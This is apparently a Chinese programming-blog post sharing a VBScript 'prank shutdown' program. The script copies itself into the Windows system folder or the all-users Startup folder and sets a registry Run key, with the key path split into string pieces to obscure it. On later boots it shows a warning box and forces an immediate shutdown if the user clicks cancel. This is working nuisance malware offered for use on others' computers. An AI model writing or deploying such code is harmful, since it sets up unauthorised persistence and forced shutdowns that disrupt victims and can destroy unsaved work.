vb下的恶搞关机程序
程序员文章站
2022-03-21 16:28:25
额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。
复制代码 代码如下:
dim fs, dirwin, c,wll, str,strr,r
set fs = cr...
额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。
复制代码 代码如下:
dim fs, dirwin, c,wll, str,strr,r
set fs = createobject("scripting.filesystemobject")
set dirwin = fs.getspecialfolder(1)
set wll = wscript.createobject("wscript.shell")
set c = fs.getfile(wscript.scriptfullname)
str ="hk"&"lm\soft"&"ware\micr"&"osoft\win"&"dows\curren"&"tversion\r"&"un\wxb"
if (fs.fileexists(dirwin&"\wxb.vbs")) then
call show_and_do("reg")
elseif (fs.fileexists("c:\documents and settings\all users\start menu\programs\startup\wxb.vbs")) then
call show_and_do("startup")
else
on error resume next
strr=""
wll.regwrite str, "c:\windows\system32\wxb.vbs", "reg_sz"
strr=wll.regread (str)
if strr="" then
c.copy("c:\documents and settings\all users\start menu\programs\startup\wxb.vbs")
else
c.copy(dirwin&"\wxb.vbs")
end if
end if
sub show_and_do(s)
dim f
r = msgbox ("警告:请不要随便动我的电脑! " & chr(13) & chr(10) & "确定->下次一定会先征求同意的" & chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "msgbox example")
if r = 1 then
if s="startup" then
set f = fs.getfile("c:\documents and settings\all users\start menu\programs\startup\wxb.vbs")
f.delete()
elseif s="reg" then
wll.regdelete str
set f = fs.getfile(dirwin&"\wxb.vbs")
f.delete()
end if
else
wll.run "shutdown.exe -s -f -t 0"
end if
end sub
好了,代码分享给大家了,不要随便拿去搞破坏!